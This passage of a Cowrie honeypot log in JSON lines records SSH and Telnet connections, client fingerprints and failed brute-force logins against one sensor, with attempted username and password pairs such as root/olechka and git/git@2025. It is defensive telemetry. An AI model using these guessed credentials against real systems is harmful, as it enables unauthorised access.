{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:42.477151Z","src_ip":"103.122.221.179","session":"3c06d319ab12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olechka","message":"login attempt [root/olechka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:43.192236Z","src_ip":"103.122.221.179","session":"3c06d319ab12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:44.434283Z","src_ip":"103.122.221.179","session":"3c06d319ab12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43516,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f116f5986a2","protocol":"telnet","message":"New connection: 152.42.224.71:43516 (10.17.0.5:23) [session: 4f116f5986a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:58.394616Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e13b70d0580","protocol":"telnet","message":"New connection: 152.42.224.71:43530 (10.17.0.5:23) [session: 9e13b70d0580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:58.634951Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":47698,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8d2f0f47afc","protocol":"ssh","message":"New connection: 45.117.179.232:47698 (10.17.0.5:22) [session: d8d2f0f47afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:58.742249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:58.747564Z","src_ip":"45.117.179.232","session":"d8d2f0f47afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:58.990501Z","src_ip":"45.117.179.232","session":"d8d2f0f47afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operador","password":"operador","message":"login attempt [operador/operador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:59.988930Z","src_ip":"45.117.179.232","session":"d8d2f0f47afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:01.234871Z","src_ip":"45.117.179.232","session":"d8d2f0f47afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.54315257072449,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:02.018798Z","src_ip":"152.42.224.71","session":"872bd91cf14b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.05020618438721,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:02.288633Z","src_ip":"152.42.224.71","session":"1bd2a9adaa51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53810,"dst_ip":"159.203.135.109","dst_port":22,"session":"cedfd58d88dd","protocol":"ssh","message":"New connection: 103.15.222.183:53810 (159.203.135.109:22) [session: cedfd58d88dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:06.710142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:06.716820Z","src_ip":"103.15.222.183","session":"cedfd58d88dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:06.964288Z","src_ip":"103.15.222.183","session":"cedfd58d88dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234569","message":"login attempt [root/1234569] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:07.701185Z","src_ip":"103.15.222.183","session":"cedfd58d88dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f456634dce41","protocol":"telnet","message":"New connection: 152.42.224.71:44996 (10.17.0.5:23) [session: f456634dce41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:08.031177Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:08.947614Z","src_ip":"103.15.222.183","session":"cedfd58d88dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59572,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f19503e86e5","protocol":"telnet","message":"New connection: 152.42.224.71:59572 (10.17.0.5:23) [session: 1f19503e86e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:16.500531Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":35296,"dst_ip":"10.17.0.5","dst_port":22,"session":"e576e34894a3","protocol":"ssh","message":"New connection: 43.153.85.27:35296 (10.17.0.5:22) [session: e576e34894a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:17.453493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:17.459178Z","src_ip":"43.153.85.27","session":"e576e34894a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:17.532707Z","src_ip":"43.153.85.27","session":"e576e34894a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:17.839548Z","src_ip":"43.153.85.27","session":"e576e34894a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:18.912426Z","src_ip":"43.153.85.27","session":"e576e34894a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c2ef9094df","protocol":"ssh","message":"New connection: 109.237.96.109:54498 (159.203.135.109:22) [session: c7c2ef9094df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:33.828706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:33.833630Z","src_ip":"109.237.96.109","session":"c7c2ef9094df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:33.932007Z","src_ip":"109.237.96.109","session":"c7c2ef9094df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312312","message":"login attempt [root/12312312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:34.222191Z","src_ip":"109.237.96.109","session":"c7c2ef9094df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:35.320429Z","src_ip":"109.237.96.109","session":"c7c2ef9094df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49040,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c7a44b120d4","protocol":"telnet","message":"New connection: 152.42.224.71:49040 (10.17.0.5:23) [session: 2c7a44b120d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:36.718504Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":45020,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee117b28f0d","protocol":"telnet","message":"New connection: 213.108.3.46:45020 (159.203.135.109:23) [session: cee117b28f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:40.462469Z"}
{"eventid":"cowrie.session.closed","duration":0.01602482795715332,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:40.478371Z","src_ip":"213.108.3.46","session":"cee117b28f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.10004639625549,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:46.494564Z","src_ip":"152.42.224.71","session":"4f116f5986a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189709663391,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:47.990364Z","src_ip":"152.42.224.71","session":"4dfc633051af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.33852481842041,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:56.369555Z","src_ip":"152.42.224.71","session":"f456634dce41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":25385,"dst_ip":"10.17.0.5","dst_port":22,"session":"37f5066139dd","protocol":"ssh","message":"New connection: 181.0.214.136:25385 (10.17.0.5:22) [session: 37f5066139dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:56.834363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:56.840975Z","src_ip":"181.0.214.136","session":"37f5066139dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:57.017754Z","src_ip":"181.0.214.136","session":"37f5066139dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckme","message":"login attempt [root/fuckme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:57.734797Z","src_ip":"181.0.214.136","session":"37f5066139dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:30:58.914974Z","src_ip":"181.0.214.136","session":"37f5066139dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":43558,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0111bbcacc4","protocol":"ssh","message":"New connection: 49.51.200.156:43558 (10.17.0.5:22) [session: e0111bbcacc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:00.561717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:00.567243Z","src_ip":"49.51.200.156","session":"e0111bbcacc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:00.635596Z","src_ip":"49.51.200.156","session":"e0111bbcacc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:00.941017Z","src_ip":"49.51.200.156","session":"e0111bbcacc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:02.014235Z","src_ip":"49.51.200.156","session":"e0111bbcacc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c8899b8111","protocol":"ssh","message":"New connection: 59.16.212.232:55146 (159.203.135.109:22) [session: 32c8899b8111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:05.097333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:31:05.103279Z","src_ip":"59.16.212.232","session":"32c8899b8111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa